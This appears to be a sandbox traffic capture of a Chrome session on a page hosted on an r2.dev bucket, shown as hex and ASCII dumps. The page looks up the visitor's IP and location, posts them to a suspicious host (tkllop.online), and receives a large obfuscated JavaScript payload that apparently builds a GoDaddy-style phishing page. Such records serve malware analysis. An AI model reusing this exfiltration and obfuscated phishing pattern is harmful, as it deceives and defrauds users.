HANDLE: $(expr, $(...))} else if ( !context \|\| context.jquery ) {return ( context \|\| rootjQuery ).find( selector );// HANDLE: $(expr, context)// (which is just equivalent to: $(context).find(expr)
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 74 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 73 20 29 20 7b 0a 0a 09 09 2f 2f 20 42 75 69 6c 64 20 61 20 6e 65 77 20 6a 51 75 65 72 79 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 0a 09 09 76 61 72 20 72 65 74 20 3d 20 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 20 65 6c 65 6d 73 20 29 3b 0a 0a 09 09 2f 2f 20 41 64 64 20 74 68 65 20 6f 6c 64 20 6f 62 6a 65 63 74 20 6f 6e 74 6f 20 Data Ascii: an array of elements and push it onto the stack// (returning the new matched element set)pushStack: function( elems ) {// Build a new jQuery matched element setvar ret = jQuery.merge( this.constructor(), elems );// Add the old object onto
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 20 6a 51 75 65 72 79 20 6d 65 74 68 6f 64 2e 0a 09 70 75 73 68 3a 20 63 6f 72 65 5f 70 75 73 68 2c 0a 09 73 6f 72 74 3a 20 5b 5d 2e 73 6f 72 74 2c 0a 09 73 70 6c 69 63 65 3a 20 5b 5d 2e 73 70 6c 69 63 65 0a 7d 3b 0a 0a 2f 2f 20 47 69 76 65 20 74 68 65 20 69 6e 69 74 20 66 75 6e 63 74 69 6f 6e 20 74 68 65 20 6a 51 75 65 72 79 20 70 72 6f 74 6f 74 79 70 65 20 66 6f 72 20 6c 61 74 65 72 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 0a 6a 51 75 65 72 79 2e 66 6e 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 6a 51 75 65 72 79 2e 66 6e 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 73 72 63 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 Data Ascii: jQuery method.push: core_push,sort: [].sort,splice: [].splice};// Give the init function the jQuery prototype for later instantiationjQuery.fn.init.prototype = jQuery.fn;jQuery.extend = jQuery.fn.extend = function() {var src, copyIsArray, c
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 72 63 20 3a 20 5b 5d 3b 0a 0a 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 63 6c 6f 6e 65 20 3d 20 73 72 63 20 26 26 20 6a 51 75 65 72 79 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 73 72 63 29 20 3f 20 73 72 63 20 3a 20 7b 7d 3b 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 2f 2f 20 4e 65 76 65 72 20 6d 6f 76 65 20 6f 72 69 67 69 6e 61 6c 20 6f 62 6a 65 63 74 73 2c 20 63 6c 6f 6e 65 20 74 68 65 6d 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 64 65 65 70 2c 20 63 6c 6f 6e 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f Data Ascii: rc : [];} else {clone = src && jQuery.isPlainObject(src) ? src : {};}// Never move original objects, clone themtarget[ name ] = jQuery.extend( deep, clone, copy );// Don't bring in undefined values} else if ( co
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 2c 20 64 65 63 72 65 6d 65 6e 74 2c 20 61 6e 64 20 77 61 69 74 20 69 66 20 6e 65 65 64 20 62 65 0a 09 09 69 66 20 28 20 77 61 69 74 20 21 3d 3d 20 74 72 75 65 20 26 26 20 2d 2d 6a 51 75 65 72 79 2e 72 65 61 64 79 57 61 69 74 20 3e 20 30 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 49 66 20 74 68 65 72 65 20 61 72 65 20 66 75 6e 63 74 69 6f 6e 73 20 62 6f 75 6e 64 2c 20 74 6f 20 65 78 65 63 75 74 65 0a 09 09 72 65 61 64 79 4c 69 73 74 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 20 64 6f 63 75 6d 65 6e 74 2c 20 5b 20 6a 51 75 65 72 79 20 5d 20 29 3b 0a 0a 09 09 2f 2f 20 54 72 69 67 67 65 72 20 61 6e 79 20 62 6f 75 6e 64 20 72 65 61 64 79 20 65 76 65 6e 74 73 0a 09 09 69 66 20 28 20 6a 51 75 65 72 79 2e 66 6e 2e 74 72 69 67 67 65 Data Ascii: , decrement, and wait if need beif ( wait !== true && --jQuery.readyWait > 0 ) {return;}// If there are functions bound, to executereadyList.resolveWith( document, [ jQuery ] );// Trigger any bound ready eventsif ( jQuery.fn.trigge
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 7d 0a 0a 09 09 74 72 79 20 7b 0a 09 09 09 2f 2f 20 4e 6f 74 20 6f 77 6e 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 70 72 6f 70 65 72 74 79 20 6d 75 73 74 20 62 65 20 4f 62 6a 65 63 74 0a 09 09 09 69 66 20 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2c 20 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 0a 09 09 09 2f 2f 20 49 45 38 2c 39 Data Ascii: }try {// Not own constructor property must be Objectif ( obj.constructor &&!core_hasOwn.call(obj, "constructor") &&!core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {return false;}} catch ( e ) {// IE8,9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49737	188.114.96.3	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:04 UTC	649	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:05 UTC	695	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 58 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9lhBE4V6sGE9wRY70Nk%2BxZakRchkbZzhOkVZHek3EZvGxN70gDJK5uvmOvD5U4dLDxeGcODX4grC2%2F8vGRm6SSPoosD6rMNILYMi3hE%2FeJATKmoKCREnksOCHOSs4T1z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020539b33425b-EWR
2024-10-07 18:59:05 UTC	674	IN	Data Raw: 34 34 30 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 2c Data Ascii: 440{"ipVersion":4,"ipAddress":"8.46.123.33","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,
2024-10-07 18:59:05 UTC	421	IN	Data Raw: 69 61 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 6d 61 63 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4a 75 6e 65 61 75 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4c 6f 75 69 73 76 69 6c 6c 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4d 6f 6e 74 69 63 65 6c 6c 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 6e 6f 6d 69 6e 65 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 74 6c 61 6b 61 74 6c 61 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f 6d 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f 72 74 68 5f 44 61 6b 6f 74 61 5c 2f 42 65 Data Ascii: iana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Be
2024-10-07 18:59:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49740	188.114.97.3	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:05 UTC	346	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:06 UTC	693	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:06 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 58 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XdgFbnhTi5AhBXcPqLh%2B3ditfFcvcjW2qrEAg2dzWY7V7PWyQK6YWPmNr%2B4uaVjHEzUPOLCet6RhcCGQFCWk731DtdpxjSavAOrNzfSiFJopJwXGlvB0zPcp0GKK2W9C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0205ace160f37-EWR
2024-10-07 18:59:06 UTC	676	IN	Data Raw: 34 34 30 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 2c Data Ascii: 440{"ipVersion":4,"ipAddress":"8.46.123.33","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,
2024-10-07 18:59:06 UTC	419	IN	Data Raw: 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 6d 61 63 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4a 75 6e 65 61 75 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4c 6f 75 69 73 76 69 6c 6c 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4d 6f 6e 74 69 63 65 6c 6c 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 6e 6f 6d 69 6e 65 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 74 6c 61 6b 61 74 6c 61 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f 6d 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f 72 74 68 5f 44 61 6b 6f 74 61 5c 2f 42 65 75 6c Data Ascii: na\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Beul
2024-10-07 18:59:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49741	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:05 UTC	759	OUT	POST /obufsssssssscaaatoion/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 112 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:05 UTC	112	OUT	Data Raw: 50 61 67 65 54 79 70 65 3d 4e 6f 72 6d 61 6c 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 53 48 41 5a 4f 52 4e 76 6d 35 4f 6d 6e 57 45 33 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 63 69 74 79 3d 4e 65 77 2b 59 6f 72 6b 2b 43 69 74 79 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 2b 6f 66 2b 41 6d 65 72 69 63 61 Data Ascii: PageType=Normal&NAMEOFTHEGUY=SHAZORNvm5OmnWE3&ip=8.46.123.33&city=New+York+City&country=United+States+of+America
2024-10-07 18:59:06 UTC	712	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:06 GMT Content-Type: application/json Content-Length: 2452406 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9OIyiBytSXTwmyelYSA5JhLJMNzQNqmZV91vAs55gsiVyWmmBDVut%2FxsOozt%2F30Wdp3QDRPk58nVeh8tEbUbgXTX1XcuED6CknszNhHxGzQ%2BIGRpS4DauleMBjkmhwlh%2F6pShFpcWX7fmss%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0205acaf44210-EWR
2024-10-07 18:59:06 UTC	657	IN	Data Raw: 7b 22 6f 75 74 70 75 74 22 3a 20 22 76 61 72 20 5f 30 78 31 64 36 38 3d 5b 5c 22 5c 5c 78 37 33 5c 5c 78 36 38 5c 5c 78 36 39 5c 5c 78 36 36 5c 5c 78 37 34 5c 22 2c 5c 22 5c 5c 78 37 30 5c 5c 78 37 35 5c 5c 78 37 33 5c 5c 78 36 38 5c 22 2c 5c 22 5c 5c 78 30 41 5c 5c 78 30 41 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 34 38 5c 5c 78 37 34 5c 5c 78 36 44 5c 5c 78 36 43 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 36 5c 5c 78 36 46 5c 5c 78 36 46 5c 5c 78 Data Ascii: {"output": "var _0x1d68=[\"\\x73\\x68\\x69\\x66\\x74\",\"\\x70\\x75\\x73\\x68\",\"\\x0A\\x0A\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x47\\x6F\\x64\\x61\\x64\\x64\\x79\\x48\\x74\\x6D\\x6C\\x22\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x66\\x6F\\x6F\\x
2024-10-07 18:59:06 UTC	1369	IN	Data Raw: 5c 5c 78 36 45 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 30 41 5c 5c 78 37 44 5c 5c 78 32 30 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 37 33 5c 5c 78 37 34 5c 5c 78 37 39 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 38 5c 5c 78 36 31 5c 5c 78 37 32 5c 5c 78 37 33 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 35 35 5c 5c 78 35 34 5c 5c 78 34 36 5c 5c 78 32 44 5c 5c 78 33 38 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 33 43 5c 5c 78 37 34 5c 5c 78 36 39 Data Ascii: \\x6E\\x6F\\x6E\\x65\\x0A\\x7D\\x20\\x0A\\x20\\x20\\x20\\x20\\x3C\\x2F\\x73\\x74\\x79\\x6C\\x65\\x3E\\x0A\\x20\\x20\\x20\\x20\\x3C\\x6D\\x65\\x74\\x61\\x20\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3D\\x22\\x55\\x54\\x46\\x2D\\x38\\x22\\x3E\\x0A\\x3C\\x74\\x69
2024-10-07 18:59:06 UTC	1369	IN	Data Raw: 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 44 5c 5c 78 37 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 30 5c 5c 78 36 43 5c 5c 78 36 39 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 44 5c 5c 78 35 34 5c 5c 78 36 39 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 34 33 5c 5c 78 36 46 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 37 32 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 32 33 5c 5c 78 33 31 5c 5c 78 33 31 5c 5c 78 33 31 5c 5c 78 33 31 5c 5c 78 33 31 5c 5c 78 33 Data Ascii: D\\x65\\x74\\x61\\x20\\x6E\\x61\\x6D\\x65\\x3D\\x22\\x6D\\x73\\x61\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x2D\\x54\\x69\\x6C\\x65\\x43\\x6F\\x6C\\x6F\\x72\\x22\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3D\\x22\\x23\\x31\\x31\\x31\\x31\\x31\\x3
2024-10-07 18:59:06 UTC	1369	IN	Data Raw: 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 38 5c 5c 78 36 33 5c 5c 78 37 33 5c 5c 78 32 44 5c 5c 78 36 38 5c 5c 78 36 35 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 Data Ascii: 20\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x68\\x63\\x73\\x2D\\x68\\x65\\x61\\x64\\x65\\x72\\x2D\\x63\\x6F\\x6E\\x74\\x61\\x69\\x6E\\x65\\x72\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20\\x63\\x6C\\x61\\x73\\x73\\x
2024-10-07 18:59:06 UTC	1369	IN	Data Raw: 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 37 33 5c 5c 78 37 30 5c 5c 78 36 31 5c 5c 78 36 45 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 31 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c Data Ascii: x65\\x6E\\x74\\x3C\\x2F\\x73\\x70\\x61\\x6E\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x2F\\x61\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x2F\\x64\\x69\\x76\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\
2024-10-07 18:59:06 UTC	1369	IN	Data Raw: 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 34 5c 5c 78 36 46 5c 5c 78 37 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 37 36 5c 5c 78 32 44 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 36 37 5c 5c 78 36 46 5c 5c 78 32 44 5c 5c 78 37 37 5c 5c 78 37 32 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 38 5c 5c 78 37 32 5c 5c 78 36 35 5c Data Ascii: 